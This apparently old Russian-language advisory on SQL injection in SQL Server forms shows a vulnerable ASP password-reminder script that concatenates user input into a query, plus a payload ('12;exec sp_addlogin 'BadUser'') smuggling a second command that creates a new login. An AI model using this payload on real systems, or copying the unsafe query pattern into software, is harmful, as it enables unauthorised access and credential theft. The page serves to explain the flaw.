<div class="test" style="font-family: 'fontello';">Fontello напрямую: ≤ ????</div>
Уязвимость обнаружена в формах, передающих данные на SQL server, в которых недостаточно фильтруется ; (точка с запятой).
<p>
<br>
Пример:<br>
<br>
Создаем форму, и затем помещаем в User ID field.<br>
<br>
999;exec sp_addlogin 'BadUser'<br>
<br>
Пример кода:<br>
<br>
<%<br>
dim lngUserID<br>
dim lngPassword<br>
strUserID = request("txtUserID")<br>
dim adoConn<br>
dim adors<br>
set adoConn = server.CreateObject("ADODB.connection")<br>
set adors = server.CreateObject("ADODB.Recordset")<br>
adoConn.open Application("conDOTS_ConnectionString")<br>
strSQL = "Select * from tblUsers where User_Id = "&strUSerID adors.Open strSQL, adoconn if not adors.eof then<br>
strEmail = adors("user_email")<br>
strPassword = adors("password")<br>
end if<br>
adors.close<br>
strSubject = "Password Request"<br>
strBody = "Your Password is:"&strPassword<br>
mailsent = fun_SendMail(strEmail,strEmail,strSubject,strBody)<br>
end if<br>
Session.abandon<br>
%><br>
<body><br>
<form ACTION="forgotpass.asp" METHOD="POST"><br>
</p>
<p>
Please enter your user id: <br>
<br>
<input type="text" name="txtUserID"><br><br>
<br><br>
<input type="submit" value="Submit"><br>
<input type="hidden" name="forgot" value="1"><br>
</form><br>
</body><br>
</html><br>
<br>
Теперь, если добавить следующую строку в поле User ID :<br>
<br>
12;exec sp_addlogin 'BadUser'<br>
<br>
то SQL сервер выполнит обе команды.<br>
</p>
<p>
<br>
</p>
Твой код — безопасный?
Расскажи, что знаешь о DevSecOps.
Пройди опрос и получи свежий отчет State of DevOps Russia 2025.